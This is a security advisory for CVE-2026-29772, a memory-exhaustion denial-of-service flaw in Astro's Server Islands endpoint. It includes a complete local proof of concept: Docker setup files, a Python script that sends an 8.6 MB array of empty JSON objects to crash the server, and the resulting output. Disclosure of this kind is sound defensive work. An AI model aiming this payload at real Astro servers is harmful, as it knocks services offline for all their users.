CVE-2026-29772

MEDIUM5.9EPSS 0.03%

Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands

發布日:2026/3/24修改日:2026/3/30

描述

### Summary Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because `JSON.parse()` allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The `/_server-islands/[name]` route is registered on all Astro SSR apps regardless of whether any component uses `server:defer`, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected. ### Details Astro automatically registers a Server Islands route at `/_server-islands/[name]` on all SSR apps, regardless of whether any component uses `server:defer`. The POST handler in `packages/astro/src/core/server-islands/endpoint.ts` buffers the entire request body into memory and parses it as JSON with no size or depth limit: ```js // packages/astro/src/core/server-islands/endpoint.ts (lines 55-56) const raw = await request.text(); // full body buffered into memory — no size limit const data = JSON.parse(raw); // parsed into V8 object graph — no element count limit ``` The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — `/_server-islands/anything` triggers the vulnerable code path. No authentication is required. Additionally, `JSON.parse()` allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., `[{},{},{},...]`) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit. ### PoC **Environment:** Astro 5.18.0, `@astrojs/node` 9.5.4, Node.js 22 with `--max-old-space-size=128`. The app does **not** use `server:defer` — this is a minimal SSR setup with no server island components. The route is still registered and exploitable. **Setup files:** `package.json`: ```json { "name": "poc-server-islands-dos", "scripts": { "build": "astro build", "start": "node --max-old-space-size=128 dist/server/entry.mjs" }, "dependencies": { "astro": "5.18.0", "@astrojs/node": "9.5.4" } } ``` `astro.config.mjs`: ```js import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), }); ``` `src/pages/index.astro`: ```astro --- --- <html> <head><title>Astro App</title></head> <body> <h1>Hello</h1> <p>Just a plain SSR page. No server islands.</p> </body> </html> ``` `Dockerfile`: ```dockerfile FROM node:22-slim WORKDIR /app COPY package.json . RUN npm install COPY . . RUN npm run build EXPOSE 4321 CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"] ``` `docker-compose.yml`: ```yaml services: astro: build: . ports: - "4321:4321" deploy: resources: limits: memory: 256m ``` **Reproduction:** ```bash # Build and start docker compose up -d # Verify server is running curl http://localhost:4321/ # => 200 OK ``` `crash.py`: ```python import requests # Any path under /_server-islands/ works — no valid island name needed TARGET = "http://localhost:4321/_server-islands/x" # 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object # 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit n = 3_000_000 payload = '[' + ','.join(['{}'] * n) + ']' print(f"Payload: {len(payload) / (1024*1024):.1f} MB") try: r = requests.post(TARGET, data=payload, headers={"Content-Type": "application/json"}, timeout=30) print(f"Status: {r.status_code}") except requests.exceptions.ConnectionError: print("Server crashed (OOM killed)") ``` ``` $ python crash.py Payload: 8.6 MB Server crashed (OOM killed) $ curl http://localhost:4321/ curl: (7) Failed to connect to localhost port 4321: Connection refused $ docker compose ps NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS (empty — container was OOM killed) ``` The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop. ### Impact Any Astro SSR app with the Node standalone adapter is affected — the `/_server-islands/[name]` route is registered by default regardless of whether any component uses `server:defer`. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the `[name]` parameter works because the body is parsed before the name is validated.

受影響套件(1)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 3.1MEDIUM5.9CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

參考連結(5)